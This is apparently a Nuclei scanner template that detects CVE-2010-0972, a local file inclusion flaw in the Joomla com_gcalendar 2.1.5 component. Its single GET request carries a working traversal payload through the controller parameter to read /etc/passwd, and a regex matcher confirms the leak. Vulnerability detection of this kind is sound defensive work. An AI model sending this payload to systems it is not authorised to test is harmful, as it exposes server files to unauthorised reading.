id: CVE-2010-0972

info:
  name: Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the GCalendar (com_gcalendar) component 2.1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11738
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0972
    - http://www.exploit-db.com/exploits/11738
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56863
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0972
    cwe-id: CWE-22
    epss-score: 0.04828
    epss-percentile: 0.89642
    cpe: cpe:2.3:a:g4j.laoneo:com_gcalendar:2.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: g4j.laoneo
    product: com_gcalendar
  tags: cve2010,cve,edb,joomla,lfi,g4j.laoneo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022057726a5c6cce9030509307e551ea570d75041c8ad996d9bea0b2695b9873708902201ef406b3213114b9c4e2ce7b751389ed222a00cb6322a95933af64cd9e87f220:922c64590222798bb761d5b6d8e72950